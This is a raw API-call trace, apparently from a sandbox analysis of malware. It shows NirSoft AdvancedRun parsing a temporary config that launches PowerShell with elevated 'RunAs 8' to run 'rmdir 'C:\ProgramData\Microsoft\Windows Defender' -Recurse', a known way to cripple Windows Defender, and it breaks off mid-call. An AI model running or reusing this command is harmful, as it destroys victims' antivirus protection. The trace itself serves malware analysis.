0x0 [0244.801] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseAffinityMask", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.801] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="AffinityMask", lpDefault="0 1", lpReturnedString=0x414eb4, nSize=0x3ff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="0 1") returned 0x3 [0244.802] GetPrivateProfileIntW (lpAppName="General", lpKeyName="Compat640480", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.802] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatDisableVisualThemes", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.802] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatDisableDesktopComp", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.802] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatDisableDPI", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.802] GetPrivateProfileIntW (lpAppName="General", lpKeyName="CompatColors", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.802] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsUserName", lpDefault="", lpReturnedString=0x41488e, nSize=0xff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.802] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsDomain", lpDefault="", lpReturnedString=0x414a8e, nSize=0xff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.802] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="RunAsPassword", lpDefault="", lpReturnedString=0x414c8e, nSize=0xff, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg" | out: lpReturnedString="") returned 0x0 [0244.802] wcscpy (in: _Dest=0x18ddce, _Source="EnvironmentVariables" | out: _Dest="EnvironmentVariables") returned="EnvironmentVariables" [0244.802] GetPrivateProfileIntW (lpAppName="EnvironmentVariables", lpKeyName="Lines", nDefault=0, lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.cfg") returned 0x0 [0244.802] wcslen (_String="") returned 0x0 [0244.802] malloc (_Size=0x8000) returned 0x5543c0 [0244.803] free (_Block=0x0) [0244.803] free (_Block=0x0) [0244.803] wcscpy (in: _Dest=0x18e46a, _Source="General" | out: _Dest="General") returned="General" [0244.803] wcscat (in: _Dest=0x18dfac, _Source="EXEFilename" | out: _Dest="/EXEFilename") returned="/EXEFilename" [0244.803] _wcsicmp (_String1="/EXEFilename", _String2="/EXEFilename") returned 0 [0244.803] wcslen (_String="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0244.803] wcscat (in: _Dest=0x18dfac, _Source="CommandLine" | out: _Dest="/CommandLine") returned="/CommandLine" [0244.803] _wcsicmp (_String1="/CommandLine", _String2="/EXEFilename") returned -2 [0244.803] _wcsicmp (_String1="/CommandLine", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.803] _wcsicmp (_String1="/CommandLine", _String2="/WindowState") returned -20 [0244.803] _wcsicmp (_String1="/CommandLine", _String2="0") returned -1 [0244.803] _wcsicmp (_String1="/CommandLine", _String2="/CommandLine") returned 0 [0244.803] wcslen (_String="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned 0x3a [0244.803] wcscat (in: _Dest=0x18dfac, _Source="StartDirectory" | out: _Dest="/StartDirectory") returned="/StartDirectory" [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="/EXEFilename") returned 14 [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="/WindowState") returned -4 [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="0") returned -1 [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="/CommandLine") returned 16 [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.803] _wcsicmp (_String1="/StartDirectory", _String2="/StartDirectory") returned 0 [0244.804] wcslen (_String="") returned 0x0 [0244.804] wcscat (in: _Dest=0x18dfb0, _Source="PriorityClass" | out: _Dest="/PriorityClass") returned="/PriorityClass" [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="/EXEFilename") returned 11 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="/WindowState") returned -7 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="0") returned -1 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="/CommandLine") returned 13 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="/StartDirectory") returned -3 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="") returned 47 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="/RunAs") returned -2 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="8") returned -9 [0244.804] _wcsicmp (_String1="/PriorityClass", _String2="/Run") returned -2 [0244.804] wcscat (in: _Dest=0x18dfb0, _Source="WindowState" | out: _Dest="/WindowState") returned="/WindowState" [0244.804] _wcsicmp (_String1="/WindowState", _String2="/EXEFilename") returned 18 [0244.804] _wcsicmp (_String1="/WindowState", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.804] _wcsicmp (_String1="/WindowState", _String2="/WindowState") returned 0 [0244.804] _wtoi (_String="0") returned 0 [0244.804] wcscat (in: _Dest=0x18dfb0, _Source="UseWindowPosition" | out: _Dest="/UseWindowPosition") returned="/UseWindowPosition" [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="/EXEFilename") returned 16 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="/WindowState") returned -2 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="0") returned -1 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="/CommandLine") returned 18 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="/StartDirectory") returned 2 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="") returned 47 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="/RunAs") returned 3 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="8") returned -9 [0244.804] _wcsicmp (_String1="/UseWindowPosition", _String2="/Run") returned 3 [0244.804] wcscat (in: _Dest=0x18dfac, _Source="WindowPosition" | out: _Dest="/WindowPosition") returned="/WindowPosition" [0244.804] _wcsicmp (_String1="/WindowPosition", _String2="/EXEFilename") returned 18 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="/WindowState") returned -3 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="0") returned -1 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="/CommandLine") returned 20 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="/StartDirectory") returned 4 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="") returned 47 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="/RunAs") returned 5 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="8") returned -9 [0244.805] _wcsicmp (_String1="/WindowPosition", _String2="/Run") returned 5 [0244.805] wcscat (in: _Dest=0x18dfb0, _Source="UseWindowSize" | out: _Dest="/UseWindowSize") returned="/UseWindowSize" [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="/EXEFilename") returned 16 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="/WindowState") returned -2 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="0") returned -1 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="/CommandLine") returned 18 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="/StartDirectory") returned 2 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="") returned 47 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="/RunAs") returned 3 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="8") returned -9 [0244.805] _wcsicmp (_String1="/UseWindowSize", _String2="/Run") returned 3 [0244.805] wcscat (in: _Dest=0x18dfac, _Source="WindowSize" | out: _Dest="/WindowSize") returned="/WindowSize" [0244.805] _wcsicmp (_String1="/WindowSize", _String2="/EXEFilename") returned 18 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="/WindowState") returned -11 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="0") returned -1 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="/CommandLine") returned 20 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="/StartDirectory") returned 4 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="") returned 47 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="/RunAs") returned 5 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="8") returned -9 [0244.805] _wcsicmp (_String1="/WindowSize", _String2="/Run") returned 5 [0244.805] wcscat (in: _Dest=0x18dfb0, _Source="RunAs" | out: _Dest="/RunAs") returned="/RunAs" [0244.806] _wcsicmp (_String1="/RunAs", _String2="/EXEFilename") returned 13 [0244.806] _wcsicmp (_String1="/RunAs", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.806] _wcsicmp (_String1="/RunAs", _String2="/WindowState") returned -5 [0244.806] _wcsicmp (_String1="/RunAs", _String2="0") returned -1 [0244.806] _wcsicmp (_String1="/RunAs", _String2="/CommandLine") returned 15 [0244.806] _wcsicmp (_String1="/RunAs", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.806] _wcsicmp (_String1="/RunAs", _String2="/StartDirectory") returned -1 [0244.806] _wcsicmp (_String1="/RunAs", _String2="") returned 47 [0244.806] _wcsicmp (_String1="/RunAs", _String2="/RunAs") returned 0 [0244.806] _wtoi (_String="8") returned 8 [0244.806] wcscat (in: _Dest=0x18dfac, _Source="RunAsProcessName" | out: _Dest="/RunAsProcessName") returned="/RunAsProcessName" [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="/EXEFilename") returned 13 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="/WindowState") returned -5 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="0") returned -1 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="/CommandLine") returned 15 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="/StartDirectory") returned -1 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="") returned 47 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="/RunAs") returned 112 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="8") returned -9 [0244.806] _wcsicmp (_String1="/RunAsProcessName", _String2="/Run") returned 97 [0244.806] wcscat (in: _Dest=0x18dfb0, _Source="EnvironmentVariablesMode" | out: _Dest="/EnvironmentVariablesMode") returned="/EnvironmentVariablesMode" [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/EXEFilename") returned -10 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/WindowState") returned -18 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="0") returned -1 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/CommandLine") returned 2 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/StartDirectory") returned -14 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="") returned 47 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/RunAs") returned -13 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="8") returned -9 [0244.806] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/Run") returned -13 [0244.806] wcscat (in: _Dest=0x18dfb0, _Source="OSCompatMode" | out: _Dest="/OSCompatMode") returned="/OSCompatMode" [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="/EXEFilename") returned 10 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="/WindowState") returned -8 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="0") returned -1 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="/CommandLine") returned 12 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="/StartDirectory") returned -4 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="") returned 47 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="/RunAs") returned -3 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="8") returned -9 [0244.807] _wcsicmp (_String1="/OSCompatMode", _String2="/Run") returned -3 [0244.807] wcscat (in: _Dest=0x18dfb0, _Source="UseSearchPath" | out: _Dest="/UseSearchPath") returned="/UseSearchPath" [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="/EXEFilename") returned 16 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="/WindowState") returned -2 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="0") returned -1 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="/CommandLine") returned 18 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="/StartDirectory") returned 2 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="") returned 47 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="/RunAs") returned 3 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="8") returned -9 [0244.807] _wcsicmp (_String1="/UseSearchPath", _String2="/Run") returned 3 [0244.807] wcscat (in: _Dest=0x18dfb0, _Source="ParseVarCommandLine" | out: _Dest="/ParseVarCommandLine") returned="/ParseVarCommandLine" [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/EXEFilename") returned 11 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/WindowState") returned -7 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="0") returned -1 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/CommandLine") returned 13 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/StartDirectory") returned -3 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="") returned 47 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/RunAs") returned -2 [0244.807] _wcsicmp (_String1="/ParseVarCommandLine", _String2="8") returned -9 [0244.808] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/Run") returned -2 [0244.808] wcscat (in: _Dest=0x18dfb0, _Source="UseAffinityMask" | out: _Dest="/UseAffinityMask") returned="/UseAffinityMask" [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="/EXEFilename") returned 16 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="/WindowState") returned -2 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="0") returned -1 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="/CommandLine") returned 18 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="/StartDirectory") returned 2 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="") returned 47 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="/RunAs") returned 3 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="8") returned -9 [0244.808] _wcsicmp (_String1="/UseAffinityMask", _String2="/Run") returned 3 [0244.808] wcscat (in: _Dest=0x18dfac, _Source="AffinityMask" | out: _Dest="/AffinityMask") returned="/AffinityMask" [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="/EXEFilename") returned -4 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="/WindowState") returned -22 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="0") returned -1 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="/CommandLine") returned -2 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="/StartDirectory") returned -18 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="") returned 47 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="/RunAs") returned -17 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="8") returned -9 [0244.808] _wcsicmp (_String1="/AffinityMask", _String2="/Run") returned -17 [0244.808] wcscat (in: _Dest=0x18dfb0, _Source="Compat640480" | out: _Dest="/Compat640480") returned="/Compat640480" [0244.808] _wcsicmp (_String1="/Compat640480", _String2="/EXEFilename") returned -2 [0244.808] _wcsicmp (_String1="/Compat640480", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.808] _wcsicmp (_String1="/Compat640480", _String2="/WindowState") returned -20 [0244.808] _wcsicmp (_String1="/Compat640480", _String2="0") returned -1 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="/CommandLine") returned 3 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="/StartDirectory") returned -16 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="") returned 47 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="/RunAs") returned -15 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="8") returned -9 [0244.809] _wcsicmp (_String1="/Compat640480", _String2="/Run") returned -15 [0244.809] wcscat (in: _Dest=0x18dfb0, _Source="CompatDisableVisualThemes" | out: _Dest="/CompatDisableVisualThemes") returned="/CompatDisableVisualThemes" [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/EXEFilename") returned -2 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/WindowState") returned -20 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="0") returned -1 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/CommandLine") returned 3 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/StartDirectory") returned -16 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="") returned 47 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/RunAs") returned -15 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="8") returned -9 [0244.809] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/Run") returned -15 [0244.809] wcscat (in: _Dest=0x18dfb0, _Source="CompatDisableDesktopComp" | out: _Dest="/CompatDisableDesktopComp") returned="/CompatDisableDesktopComp" [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/EXEFilename") returned -2 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/WindowState") returned -20 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="0") returned -1 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/CommandLine") returned 3 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/StartDirectory") returned -16 [0244.809] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="") returned 47 [0244.810] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/RunAs") returned -15 [0244.810] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="8") returned -9 [0244.810] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/Run") returned -15 [0244.810] wcscat (in: _Dest=0x18dfb0, _Source="CompatDisableDPI" | out: _Dest="/CompatDisableDPI") returned="/CompatDisableDPI" [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="/EXEFilename") returned -2 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="/WindowState") returned -20 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="0") returned -1 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="/CommandLine") returned 3 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="/StartDirectory") returned -16 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="") returned 47 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="/RunAs") returned -15 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="8") returned -9 [0244.810] _wcsicmp (_String1="/CompatDisableDPI", _String2="/Run") returned -15 [0244.810] wcscat (in: _Dest=0x18dfb0, _Source="CompatColors" | out: _Dest="/CompatColors") returned="/CompatColors" [0244.810] _wcsicmp (_String1="/CompatColors", _String2="/EXEFilename") returned -2 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="/WindowState") returned -20 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="0") returned -1 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="/CommandLine") returned 3 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="/StartDirectory") returned -16 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="") returned 47 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="/RunAs") returned -15 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="8") returned -9 [0244.810] _wcsicmp (_String1="/CompatColors", _String2="/Run") returned -15 [0244.810] wcscat (in: _Dest=0x18dfac, _Source="RunAsUserName" | out: _Dest="/RunAsUserName") returned="/RunAsUserName" [0244.810] _wcsicmp (_String1="/RunAsUserName", _String2="/EXEFilename") returned 13 [0244.810] _wcsicmp (_String1="/RunAsUserName", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.810] _wcsicmp (_String1="/RunAsUserName", _String2="/WindowState") returned -5 [0244.810] _wcsicmp (_String1="/RunAsUserName", _String2="0") returned -1 [0244.810] _wcsicmp (_String1="/RunAsUserName", _String2="/CommandLine") returned 15 [0244.811] _wcsicmp (_String1="/RunAsUserName", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.811] _wcsicmp (_String1="/RunAsUserName", _String2="/StartDirectory") returned -1 [0244.811] _wcsicmp (_String1="/RunAsUserName", _String2="") returned 47 [0244.811] _wcsicmp (_String1="/RunAsUserName", _String2="/RunAs") returned 117 [0244.811] _wcsicmp (_String1="/RunAsUserName", _String2="8") returned -9 [0244.811] _wcsicmp (_String1="/RunAsUserName", _String2="/Run") returned 97 [0244.811] wcscat (in: _Dest=0x18dfac, _Source="RunAsDomain" | out: _Dest="/RunAsDomain") returned="/RunAsDomain" [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="/EXEFilename") returned 13 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="/WindowState") returned -5 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="0") returned -1 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="/CommandLine") returned 15 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="/StartDirectory") returned -1 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="") returned 47 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="/RunAs") returned 100 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="8") returned -9 [0244.811] _wcsicmp (_String1="/RunAsDomain", _String2="/Run") returned 97 [0244.811] wcscat (in: _Dest=0x18dfac, _Source="RunAsPassword" | out: _Dest="/RunAsPassword") returned="/RunAsPassword" [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="/EXEFilename") returned 13 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned -52 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="/WindowState") returned -5 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="0") returned -1 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="/CommandLine") returned 15 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse") returned -67 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="/StartDirectory") returned -1 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="") returned 47 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="/RunAs") returned 112 [0244.811] _wcsicmp (_String1="/RunAsPassword", _String2="8") returned -9 [0244.811] _wcsicmp 